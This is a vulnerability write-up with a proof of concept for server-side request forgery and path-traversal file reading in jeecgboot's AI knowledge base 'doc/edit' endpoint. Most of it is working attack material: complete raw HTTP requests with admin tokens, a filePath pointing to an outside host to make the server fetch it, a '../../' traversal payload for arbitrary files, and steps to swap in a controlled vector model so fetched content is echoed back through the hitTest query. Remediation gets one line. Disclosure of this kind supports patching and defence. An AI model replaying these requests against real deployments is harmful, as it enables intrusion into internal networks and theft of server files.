jeecgboot SSRF Vulnerability
Affect version
v 3.80-3.81(AI)
Prerequisites
Need to get an account to log in
If the deployment vector model is not enabled, you can blindly ssrf
Ssrf can be performed when the deployment vector model is enabled (with echo)
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 POST /jeecgboot/airag/knowledge/doc/edit HTTP/1.1 Host: 192.168.1.5:3100 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/json;charset=UTF-8 X-TIMESTAMP: 1752290640027 X-Sign: 883DF65C990F601834BB161FC6AE86D4 X-Version: v3 Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzUyNTkyNjk4fQ.TAk7bmurQPTWodBoLfdTmFbw38aN4uNS56kluNsU5XY X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzUyNTkyNjk4fQ.TAk7bmurQPTWodBoLfdTmFbw38aN4uNS56kluNsU5XY X-Tenant-Id: 0 Content-Length: 154 Origin: http://192.168.1.5:3100 Connection: keep-alive Referer: http://192.168.1.5:3100/super/airag/aiknowledge/AiKnowledgeBaseList Cookie: JSESSIONID=nFiwSWnrQwXaarCgYPZqWV1U_gdm4YNgB8DRhpDS; Hm_lvt_0febd9e3cacb3f627ddac64d52caac39=1752230245; Hm_lpvt_0febd9e3cacb3f627ddac64d52caac39=1752290319; HMACCOUNT=CBB56E0EB4F1489A; Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1752234117; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1752234117 Priority: u=0 {"knowledgeId":"1897926563148648449","title":"122","type":"file","metadata":"{\"filePath\":\"http://101.33.240.213:50002/jeecgboot.txt\"}", "content":""}
Verification process
Log in to the system
Click on the AI Knowledge Base, where you can choose to create a new one or the existing ones
Click File Upload-Upload Document
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 POST /jeecgboot/airag/knowledge/doc/edit HTTP/1.1 Host: 192.168.1.5:3100 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/json;charset=UTF-8 X-TIMESTAMP: 1752290640027 X-Sign: 883DF65C990F601834BB161FC6AE86D4 X-Version: v3 Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzUyNTkyNjk4fQ.TAk7bmurQPTWodBoLfdTmFbw38aN4uNS56kluNsU5XY X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzUyNTkyNjk4fQ.TAk7bmurQPTWodBoLfdTmFbw38aN4uNS56kluNsU5XY X-Tenant-Id: 0 Content-Length: 122 Origin: http://192.168.1.5:3100 Connection: keep-alive Referer: http://192.168.1.5:3100/super/airag/aiknowledge/AiKnowledgeBaseList Cookie: JSESSIONID=nFiwSWnrQwXaarCgYPZqWV1U_gdm4YNgB8DRhpDS; Hm_lvt_0febd9e3cacb3f627ddac64d52caac39=1752230245; Hm_lpvt_0febd9e3cacb3f627ddac64d52caac39=1752290319; HMACCOUNT=CBB56E0EB4F1489A; Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1752234117; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1752234117 Priority: u=0 {"knowledgeId":"1897926563148648449","title":"122","type":"file","metadata":"{\"filePath\":\"temp/../../../../../../../../../../../../../../tmp/3333.txt\"}", "content":""}
Here we catch the package and modify the filePath to any file.
Enter the interface
org/jeecg/modules/airag/llm/controller/AiragKnowledgeController.java#206
1 2 3 4 5 @PostMapping(value = "/doc/edit") @RequiresPermissions("airag:knowledge:doc:edit") public Result<?> addDocument(@RequestBody AiragKnowledgeDoc airagKnowledgeDoc) { return airagKnowledgeDocService.editDocument(airagKnowledgeDoc); }
Here is further tracking, this interface is to edit the meta information of the knowledge base
Come to the asynchronous parsing document, this is the key point.
jeecg-boot/jeecg-boot-module/jeecg-boot-module-airag/src/main/java/org/jeecg/modules/airag/llm/service/impl/AiragKnowledgeDocServiceImpl.java#178
1 2 3 4 5 6 7 8 9 10 11 try { Map<String, Object> metadata = embeddingHandler.embeddingDocument(knowId, doc); // 更新数据 date:2025/2/18 if (null != metadata) { doc.setStatus(KNOWLEDGE_DOC_STATUS_COMPLETE); this.updateById(doc); log.info("重建文档成功, 知识库id: {}, 文档id: {}", knowId, doc.getId()); } else { this.handleDocBuildFailed(doc, "向量化失败"); log.info("重建文档失败, 知识库id: {}, 文档id: {}", knowId, doc.getId()); }
Continuously tracking to the reconstruction vector.
jeecg-boot/jeecg-boot-module/jeecg-boot-module-airag/src/main/java/org/jeecg/modules/airag/llm/handler/EmbeddingHandler.java#140
1 String content = doc.getContent();
Enter
1 content = parseFile(doc);
Among them, the Parsefile method is our key point, which can cause ssrf and arbitrary file to be read.
Unlimited conditions cause ssrf (blindly hit ssrf without echo)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 POST /jeecgboot/airag/knowledge/doc/edit HTTP/1.1 Host: 192.168.1.5:3100 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/json;charset=UTF-8 X-TIMESTAMP: 1752290640027 X-Sign: 883DF65C990F601834BB161FC6AE86D4 X-Version: v3 Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzUyNTkyNjk4fQ.TAk7bmurQPTWodBoLfdTmFbw38aN4uNS56kluNsU5XY X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzUyNTkyNjk4fQ.TAk7bmurQPTWodBoLfdTmFbw38aN4uNS56kluNsU5XY X-Tenant-Id: 0 Content-Length: 154 Origin: http://192.168.1.5:3100 Connection: keep-alive Referer: http://192.168.1.5:3100/super/airag/aiknowledge/AiKnowledgeBaseList Cookie: JSESSIONID=nFiwSWnrQwXaarCgYPZqWV1U_gdm4YNgB8DRhpDS; Hm_lvt_0febd9e3cacb3f627ddac64d52caac39=1752230245; Hm_lpvt_0febd9e3cacb3f627ddac64d52caac39=1752290319; HMACCOUNT=CBB56E0EB4F1489A; Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1752234117; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1752234117 Priority: u=0 {"knowledgeId":"1897926563148648449","title":"122","type":"file","metadata":"{\"filePath\":\"http://101.33.240.213:50002/jeecgboot.txt\"}", "content":""}
The specific method of creating ssrf is
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 filePath = ensureFile(filePath); @NotNull private String ensureFile(String filePath) { // 网络资源,先下载到临时目录 Matcher matcher = LLMConsts.WEB_PATTERN.matcher(filePath); if (matcher.matches()) { log.info("网络资源,下载到临时目录:" + filePath); // 准备文件 String tempFilePath = uploadpath + File.separator + "tmp" + File.separator + UUIDGenerator.generate() + File.separator; String fileName = filePath; if (fileName.contains("?")) { fileName = fileName.substring(0, fileName.indexOf("?")); } fileName = FilenameUtils.getName(fileName); tempFilePath = tempFilePath + fileName; FileDownloadUtils.download2DiskFromNet(filePath, tempFilePath); filePath = tempFilePath; } else { //本地文件 filePath = uploadpath + File.separator + filePath; } return filePath; }
Determine whether the incoming path is http/https access to the network file and download it to the web directory.
Enter download2DiskFromNet
Initiate an access.
Ssrf under vector model (with echo)
Add a model
Modify it into our vector model. Since the front end is not written well here, you can’t modify it directly by clicking here.
However, it can be used to update the interface to obtain our model id. You can see in the model list. Here we first use the interface to update the vector model of the knowledge base.
Now, the vector model has been updated to our model.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 POST /jeecgboot/airag/knowledge/doc/edit HTTP/1.1 Host: 192.168.1.5:3100 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/json;charset=UTF-8 X-TIMESTAMP: 1752366582941 X-Sign: A305C5E0C3906BFED81CE09AFB41C261 X-Version: v3 Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzUyNTkyNjk4fQ.TAk7bmurQPTWodBoLfdTmFbw38aN4uNS56kluNsU5XY X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzUyNTkyNjk4fQ.TAk7bmurQPTWodBoLfdTmFbw38aN4uNS56kluNsU5XY X-Tenant-Id: 0 Content-Length: 154 Origin: http://192.168.1.5:3100 Connection: keep-alive Referer: http://192.168.1.5:3100/super/airag/aiknowledge/AiKnowledgeBaseList Cookie: JSESSIONID=nFiwSWnrQwXaarCgYPZqWV1U_gdm4YNgB8DRhpDS; Hm_lvt_0febd9e3cacb3f627ddac64d52caac39=1752230245; Hm_lpvt_0febd9e3cacb3f627ddac64d52caac39=1752364217; HMACCOUNT=CBB56E0EB4F1489A; Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1752234117; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1752234117 Priority: u=0 {"knowledgeId":"1897926563148648449","title":"122","type":"file","metadata":"{\"filePath\":\"http://101.33.240.213:50002/jeecgboot.txt\"}", "content":""}
The ssrf package enters the interface we just did and continue to follow the code. The URL content has been read here.
Return content
Here is the echoes obtained by the title and the ssrf are combined as the title.
1 2 3 if (oConvertUtils.isNotEmpty(doc.getTitle())) { content = doc.getTitle() + "\n\n" + content; }
The following is normal vectorization. No model will fail to rebuild, and SSRF cannot be echoed, so you need to configure the vector model first.
Search our title here to view the response content.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 GET /jeecgboot/airag/knowledge/embedding/hitTest/1897926563148648449?queryText=122&knowId=1897926563148648449&topNumber=5&similarity=0.65&_t=1752366887814 HTTP/1.1 Host: 192.168.1.5:3100 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br X-TIMESTAMP: 1752366887819 X-Sign: B65ACFD4CFE5C7D85FF4D3C9FB6B6794 X-Version: v3 Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzUyNTkyNjk4fQ.TAk7bmurQPTWodBoLfdTmFbw38aN4uNS56kluNsU5XY X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzUyNTkyNjk4fQ.TAk7bmurQPTWodBoLfdTmFbw38aN4uNS56kluNsU5XY X-Tenant-Id: 0 Connection: keep-alive Referer: http://192.168.1.5:3100/super/airag/aiknowledge/AiKnowledgeBaseList Cookie: JSESSIONID=nFiwSWnrQwXaarCgYPZqWV1U_gdm4YNgB8DRhpDS; Hm_lvt_0febd9e3cacb3f627ddac64d52caac39=1752230245; Hm_lpvt_0febd9e3cacb3f627ddac64d52caac39=1752366859; HMACCOUNT=CBB56E0EB4F1489A; Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1752234117; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1752234117 Priority: u=0
Repair suggestions
Filter for filepath